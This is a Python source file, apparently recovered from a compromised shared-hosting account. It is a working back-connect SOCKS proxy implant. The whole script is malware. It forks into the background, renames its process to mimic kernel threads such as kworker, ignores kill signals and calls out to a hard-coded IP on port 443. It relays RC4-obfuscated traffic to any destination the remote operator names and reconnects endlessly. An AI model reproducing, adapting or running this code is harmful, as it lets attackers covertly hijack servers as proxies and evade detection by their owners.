/home/fdhrevqn/.cagefs/tmp/.bcksocks/62.60.131.181_443.py
import socket,select,threading,random,time,os,sys,signal

# === THREAD STACK SIZE (128KB instead of 8MB default) ===
try:
    threading.stack_size(131072)
except:
    pass

# === DAEMONIZE ===
def daemonize(pidfile):
    if os.fork() > 0: sys.exit(0)
    os.setsid()
    if os.fork() > 0: sys.exit(0)
    try: os.chdir('/')
    except: pass
    os.umask(0)
    for fd in range(3, 64):
        try: os.close(fd)
        except: pass
    sys.stdin = open('/dev/null', 'r')
    sys.stdout = open('/dev/null', 'w')
    sys.stderr = open('/dev/null', 'w')
    if pidfile:
        try:
            with open(pidfile, 'w') as f: f.write(str(os.getpid()))
        except: pass

# === MASK PROCESS NAME ===
def mask_process():
    names = ['kworker','migration','ksoftirqd','watchdog','rcu_sched','kswapd']
    suffix = ['','/0','/1','/0:0','/0:1']
    pn = random.choice(names) + random.choice(suffix)
    try:
        import ctypes
        libc = ctypes.CDLL('libc.so.6')
        libc.prctl(15, pn.encode(), 0, 0, 0)
    except: pass
    try:
        with open('/proc/self/comm', 'wb') as f: f.write(pn.encode()[:15])
    except: pass

H,P='62.60.131.181',443
PF='/tmp/.bcksocks/62.60.131.181_443.pid'

daemonize(PF)
mask_process()

# Ignore ALL relevant signals including SIGPIPE
for s in [1, 2, 13, 15]:
    try: signal.signal(s, signal.SIG_IGN)
    except: pass

x=bytearray([random.randint(0,254) for _ in range(50)])

def rc4(p,b,s,z):
    L=len(p)
    for i in range(z):b[s+i]^=p[i%L]
    r=list(range(256));j=0
    for i in range(256):j=(j+r[i]+p[i%L])&255;r[i],r[j]=r[j],r[i]
    i=j=0
    for k in range(z):
        i=(i+1)&255;j=(j+r[i])&255;r[i],r[j]=r[j],r[i]
        b[s+k]^=r[(r[i]+r[j])&255]
    for i in range(z):b[s+i]^=p[i%L]

SS=None
SL=threading.Lock()   # Lock для отправки на сервер
AL=threading.Lock()   # Lock для sa/sk массивов
sa=[0]*200
sk=[None]*200
wc=0  # Worker count
MAX_WORKERS=200
ALIVE=True  # Флаг для остановки workers при реконнекте
GEN=0  # Generation counter для определения старых workers

def ssend(d,gen):
    """Отправка с защитой от SIGPIPE и проверкой generation"""
    global SS,GEN
    try:
        with SL:
            if SS and gen==GEN:
                # Используем send с таймаутом вместо sendall внутри lock
                SS.settimeout(5)
                try:
                    SS.sendall(d)
                except (BrokenPipeError, ConnectionResetError, OSError):
                    return 0
                finally:
                    SS.settimeout(None)
        return 1
    except: 
        return 0

def worker(n,cs,b0,gen):
    """Worker с проверкой generation"""
    global sa,sk,wc,GEN,ALIVE
    r=bytearray([n,10,0,5,1,0,1,0,0,0,0,0,0])
    ok=0
    try:
        if b0[7]==3:
            dl=b0[8];dom=b0[9:9+dl].decode('latin-1');pt=(b0[9+dl]<<8)|b0[9+dl+1]
        elif b0[7]==1:
            dom=f"{b0[8]}.{b0[9]}.{b0[10]}.{b0[11]}";pt=(b0[12]<<8)|b0[13]
        else:raise Exception()
        cs.settimeout(10)
        cs.connect((dom,pt))
        cs.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
        cs.settimeout(None)  # Будем использовать select
        with AL:
            if gen==GEN and ALIVE:  # Проверяем что не было реконнекта
                sa[n]=1;sk[n]=cs
                r[4]=0;ok=1
    except:
        try:cs.close()
        except:pass
    rc4(x,r,0,3);rc4(x,r,3,10);ssend(bytes(r),gen)
    if ok:
        try:
            while True:
                # Проверяем флаги
                with AL:
                    if sa[n]!=1 or gen!=GEN or not ALIVE:break
                # select с exceptfds для обнаружения ошибок
                try:
                    rl,_,el=select.select([cs],[],[cs],1)
                except:break
                if el:break  # Ошибка на сокете
                if rl:
                    try:
                        d=cs.recv(65530)
                    except:break
                    if not d:break
                    buf=bytearray([n,len(d)&255,(len(d)>>8)&255])+bytearray(d)
                    rc4(x,buf,0,3);rc4(x,buf,3,len(d))
                    if not ssend(bytes(buf),gen):break
        except:pass
    with AL:
        sa[n]=0;sk[n]=None
        if wc>0:wc-=1
    try:cs.close()
    except:pass
    # Отправляем уведомление о закрытии только если generation совпадает
    if gen==GEN:
        r[1]=r[2]=0;rc4(x,r,0,3);ssend(bytes(r[:3]),gen)

def main():
    global SS,sa,sk,wc,ALIVE,GEN
    
    # Увеличиваем generation и останавливаем старые workers
    with AL:
        GEN+=1
        ALIVE=True
        wc=0
        for i in range(200):
            sa[i]=0
            c=sk[i];sk[i]=None
            if c:
                try:c.close()
                except:pass
    
    gen=GEN  # Локальная копия для этой сессии
    rm=r4=ebx=edx=0;b0=bytearray();ex=0;ka_time=time.time()
    
    try:
        SS=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        SS.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
        SS.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1)
        SS.settimeout(10)
        SS.connect((H,P))
        SS.settimeout(None)
        hs=bytearray(100);hs[:50]=x;hs[50]=255;hs[51]=255;hs[54:60]=b"Python"
        rc4(x,hs,50,50);SS.sendall(bytes(hs))
        
        while ALIVE and gen==GEN:
            if r4<4:
                # select с exceptfds
                try:
                    rl,_,el=select.select([SS],[],[SS],60)
                except:break
                if el:break  # Ошибка на сокете
                if not rl:
                    if time.time()-ka_time>60:
                        ka=bytearray(3);rc4(x,ka,0,3)
                        if not ssend(bytes(ka),gen):break
                        ka_time=time.time()
                    continue
                try:
                    d=SS.recv(4-r4)
                except:break
                if not d:break
                b0.extend(d);r4+=len(d);ka_time=time.time()
                if r4==4:rc4(x,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8)
            if r4==4:
                if edx==0:
                    if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break
                    if 0<ebx<200:
                        with AL:
                            sa[ebx]=0
                            c=sk[ebx];sk[ebx]=None
                        if c:
                            try:c.close()
                            except:pass
                    r4=0;b0=bytearray()
                else:
                    if edx>1048576:break  # Max 1MB
                    need=edx-rm
                    if need>0:
                        try:
                            d=SS.recv(min(need,65536))
                        except:break
                        if not d:break
                        b0.extend(d);rm+=len(d)
                    if rm==edx:
                        rc4(x,b0,4,rm)
                        if b0[0]==0:
                            # ВАЖНО: Проверка диапазона ebx ПЕРЕД созданием worker
                            if 0<ebx<200:
                                with AL:
                                    if wc>=MAX_WORKERS:
                                        r4=0;rm=0;b0=bytearray()
                                        continue
                                    wc+=1
                                cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                                t=threading.Thread(target=worker,args=(ebx,cs,bytes(b0),gen),daemon=True)
                                t.start()
                        else:
                            if 0<ebx<200:
                                with AL:
                                    if sa[ebx]==1 and sk[ebx]:
                                        try:
                                            sk[ebx].settimeout(5)
                                            sk[ebx].sendall(bytes(b0[4:4+rm]))
                                        except:pass
                        rm=0;r4=0;b0=bytearray()
    except:pass
    
    # Останавливаем workers этой generation
    with AL:
        if gen==GEN:
            ALIVE=False
    
    try:SS.close()
    except:pass
    SS=None
    
    # Даём время workers завершиться
    time.sleep(1)
    
    # Очищаем массивы
    with AL:
        for i in range(200):
            if sa[i]!=0:
                sa[i]=0
                c=sk[i];sk[i]=None
                if c:
                    try:c.close()
                    except:pass
    
    time.sleep(9)
    if ex:sys.exit(0)

while 1:
    try:main()
    except:time.sleep(10)